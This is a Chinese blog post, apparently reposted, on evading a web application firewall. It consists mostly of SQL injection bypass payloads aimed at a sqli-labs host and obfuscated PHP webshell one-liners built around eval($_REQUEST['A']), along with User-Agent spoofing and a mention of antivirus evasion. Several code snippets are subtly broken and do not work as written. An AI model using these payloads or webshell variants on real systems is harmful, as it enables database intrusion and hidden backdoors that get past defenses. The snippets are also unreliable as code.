赞
踩
所有的绕过原理都大致一致,但是并不是所有的绕过都能起到作用,渗透测试主要还是一个猜加试的过程,本文仅供参考
网络安全狗的默认防护为,拒绝head请求,在扫描工具中大部分使用head请求去收集目录信息,所以改用get请求绕过
- Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
- Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
mysql为了兼容其他数据,将mysql的特有语句放入/*!100441 */,其他数据库不执行,但在mysql中正常执行
- //被拦截
- http://192.168.10.111/sqli-labs/Less-1/?id=2 and 1=1
- //成功注入
- http://192.168.10.111/sqli-labs/Less-1/?id=2' /*!10441and*/ 1=2 --+
%0a:为换行 %23:为#
192.168.10.111/sqli-labs/Less-1/?id=2' --+/*%0a and 1=2 union select 1,2,3%23*/
- -- 最后展现在sql中的语句为
- --+/*
- and 1=2 union select 1,2,3 #*/
因为apach接收数据时允许同名数据,并且最后一个数据为有效值,所以只有第最后一个参数后的语句有效
192.168.10.111/sqli-labs/Less-1/?id=2' /*&id=2' and 1=2 union select 1,database(),3 %23*/
waf对某些特殊字符串进行检测时可以使用
- //如果对phpinfo检测,可以把参数改为
- $a='php';$b='info';$c=$a.$b;$c();
assert(base64_decode('cGhwaW5mbygpOw=='));
assert(str_replace('x','','sxyxsxtxexm("ipconfig")'));
- url:rce_eval.php?str=tem
- $b=sys;$c=$_GET['str'];$a=$b.$c;$a('ipconfig');
waf中eval和$_REQUEST同时出现时会被拦截
end函数取数组最后一个元素
eval(end($_REQUEST['A']));
- define("b","$_REQUEST['A']");
- eval(b);
- $a='ev';
- $b='al';
- $c=$a.$b;
- $d='c';
- $$d($_REQUEST['A']);
- //等价于eval($_REQUEST['A']);
- function abc($b){
- returb $b;
- }
- $a = abc("$_REQUEST['A']");
- eval($a);
- class user{
- $name='';
- function __construct($name){
- $this->name=$name;
- }
- function __destruct(){
- eval($this->name);
- }
- }
- $a=new user($_REQUEST['A']);
- $cookie = $_COOKIE;
- foreach($cookie as $key => $value){
- if($key=='eval'){
- $key($_REQUEST['A']);
- }
- }
- $defun = $get_define_functions();
- //使用defun获取assert
- $defun['internal'][841]($_REQUEST['A']);
eval(base64_decode('JF9SRVFVRVNUWydBJ10='));
并不是所有方式都是有用
对于pc防火墙免杀如 火绒、360,也可以使用相同的思路
对于火绒免杀,有效的方法
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。